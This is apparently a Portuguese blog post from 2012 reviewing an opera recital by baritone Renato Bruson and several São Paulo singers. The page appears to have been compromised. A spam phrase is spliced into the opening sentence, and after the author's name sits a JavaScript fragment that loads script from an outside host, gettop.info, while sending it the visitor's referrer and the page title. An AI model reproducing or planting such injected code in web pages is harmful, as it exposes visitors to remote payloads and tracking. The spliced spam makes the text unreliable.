Escrito por em 30 abr 2012 nas áreas Crítica

Um puxão de orelhas em todos os cantores líricos de São Paulo.

O barítono italiano Renato Bruson vanterin kowa liniment cantou diversas vezes em São Paulo Tive a oportunidade de vê-lo na ópera La Traviata, de Verdi, em 2001, no Theatro Municipal de São Paulo. Naquela oportunidade pude perceber o talento vocal desse grande cantor. Uma voz com belo fraseado e graves pujantes. Sempre quando assisto à La Traviata lembro-me de Renato Bruson, uma referência no papel de Giorgio Germont.

A apresentação do grande barítono no Projeto Grandes Vozes no Theatro São Pedro, no último dia 27 de Abril, só confirmou a impressão que tive em 2001.  Bruson não é mais um menininho, já passa dos setenta anos e canta bem. Sabem por quê ? Sua técnica é primorosa, entende do assunto como ninguém. Nunca cantou papéis que não se adequassem ao seu tipo de voz e soube se conservar e até os dias de hoje, quando é convidado para cantar em diversos teatros do mundo.

Iniciou o recital com uma bela canção de Tosti, “L’ultima Canzone”, uma canção que lembra uma grande ária de ópera, emocionante do começo ao fim. Cantou ao lado de Mere Oliveira, “Reverenza…buon giorno, buona donna… Alice è mia”, da ópera Falstaff, onde mostrou seu lado cômico. Após o intervalo, tivemos “Madamigella Valery…. pura siccome un angelo…siate felice”, da ópera La Traviata, uma de suas grandes especialidades, e fechou com uma das mais emotivas árias de Verdi, “Di Provenza il mare, il suol”, da ópera La Traviata. Em todas as aparições, Bruson mostrou uma voz uniforme, com graves excelentes e vigorosos. Um cantor à moda antiga, onde a voz era a excelência, a técnica preponderante e com o tempo aprendeu a interpretar os personagens, um barítono completo.

Um grande estilista da capital paulistana cedeu os vestidos para as cantoras, soube pelas redes sociais, e foi anunciado antes da apresentação. Estilista nenhum faz alguém cantar bem, mas convenhamos, uma propaganda não faz mal a ninguém. Tati Helene entrou com o vestido cedido pelo tal estilista … eu achei sem graça, mas gosto é que nem nariz, cada um tem o seu. O soprano me surpreendeu, cantou “Senza  mamma”, da ópera Suor Angélica, de Puccini, e “L`altra notte in fondo al mare”, da ópera  Mefistofele, de Boito. Sua voz mostrou excelente projeção, munida de um belo timbre e um lirismo sedutor. Seus agudos mostraram potência  e realçaram todos os coloridos das árias. Sustentou as notas no limite na ária de Boito, não teve medo de correr esse risco, simplesmente arrebentou! Ao lado de Bruson fez bonito como Violetta, e não é qualquer soprano que canta ao lado de Bruson.

Mere Oliveira também usou o vestido do tal estilista, esse não tão feioso. Na difícil ária “Acerba voluttà”, da ópera Adriana Lecouvreur, de Cilea, a moça encontrou dificuldades. Sua voz carece de técnica para árias complexas, que exigem grande interpretação dramática. Possui graves interessantes e agudos fracos. Seu melhor momento foi “Reverenza…buon giorno, buona donna… Alice è mia”, da ópera Falstaff, de Verdi, ao lado de Bruson. Uma cantora que não empolgou.

O tenor Rinaldo Leone esteve em grande noite. Na ária “E lucevan le stelle”, da ópera Tosca,  de Puccini, mostrou belos agudos, voz com belo timbre e técnica sólida. Ao lado de Bruson mostrou grande lirismo em “Ah Mimi tu più non torni”, da ópera La Bohème, de Puccini. O tenor me surpreendeu. Bravo Leoni!

Um puxão de orelha a todos os cantores líricos de São Paulo e adjacências. Na récita vi poucos cantores na plateia. Todos eles têm a obrigação de estar presentes e ver a técnica de um dos grandes barítonos. Aprenderiam muito se fizessem isso e não cometeriam muitas barbaridades que andam cometendo por aí.

Ali Hassan Ayaches.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;